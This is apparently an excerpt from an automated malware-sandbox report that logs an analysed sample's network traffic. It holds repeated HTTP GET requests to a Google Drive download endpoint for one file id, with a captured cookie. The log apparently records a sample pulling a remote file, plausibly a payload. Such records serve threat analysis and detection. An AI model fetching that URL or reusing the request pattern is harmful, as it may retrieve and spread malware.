Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
